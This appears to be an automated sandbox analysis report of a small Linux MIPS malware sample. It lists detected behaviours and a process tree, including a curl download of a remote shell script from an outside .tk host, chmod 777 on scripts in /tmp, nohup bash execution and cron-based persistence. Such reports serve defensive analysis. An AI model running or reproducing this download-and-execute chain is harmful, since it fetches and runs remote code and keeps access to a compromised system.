Analysis

  • max time kernel
    5s
  • max time network
    9s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    15/09/2024, 00:31

General

  • Target
    e158c98a90cc7b14d026443cbcd8b520_JaffaCakes118
  • Size 1KB
  • Sample240915-at3e6swbnd
  • SHA256 a27acc07844bb751ac33f5df569fd949d8b61dba26eb5447482d90243fc739af
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/e158c98a90cc7b14d026443cbcd8b520_JaffaCakes118
    /tmp/e158c98a90cc7b14d026443cbcd8b520_JaffaCakes118
    1⤵
    • Creates/modifies Cron job
    • Writes file to tmp directory
    PID:706
    • /usr/bin/whoami
      whoami
      2⤵
        PID:709
      • /bin/mkdir
        mkdir -p /var/spool/cron/crontabs
        2⤵
        • Reads runtime system information
        PID:715
      • /usr/bin/curl
        curl http://3g2upl4pq6kufc4m.tk/rootv2.sh
        2⤵
        • Reads runtime system information
        PID:717
      • /bin/chmod
        chmod 777 /tmp/root.sh
        2⤵
        • File and Directory Permissions Modification
        PID:731
      • /usr/bin/nohup
        nohup bash /tmp/root.sh
        2⤵
          PID:732
        • /bin/chmod
          chmod 777 /tmp/rootv2.sh
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /usr/local/sbin/bash
          bash /tmp/root.sh
          2⤵
            PID:732
          • /usr/local/bin/bash
            bash /tmp/root.sh
            2⤵
              PID:732
            • /sbin/bash
              bash /tmp/root.sh
              2⤵
                PID:732
              • /bin/bash
                bash /tmp/root.sh
                2⤵
                  PID:732
                • /usr/bin/nohup
                  nohup bash /tmp/rootv2.sh
                  2⤵
                    PID:735
                • /usr/local/sbin/bash
                  bash /tmp/rootv2.sh
                  1⤵
                    PID:735
                  • /usr/local/bin/bash
                    bash /tmp/rootv2.sh
                    1⤵
                      PID:735
                    • /sbin/bash
                      bash /tmp/rootv2.sh
                      1⤵
                        PID:735
                      • /bin/bash
                        bash /tmp/rootv2.sh
                        1⤵
                          PID:735

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              root

                              • Path /var/spool/cron/root
                              • Size 60B
                              • SHA256 f8531cbe0b29c370644e131b09ae8456d91c4c746d72bcf7c8431d4bcdab4c74
                              • MD5 SHA1 SHA512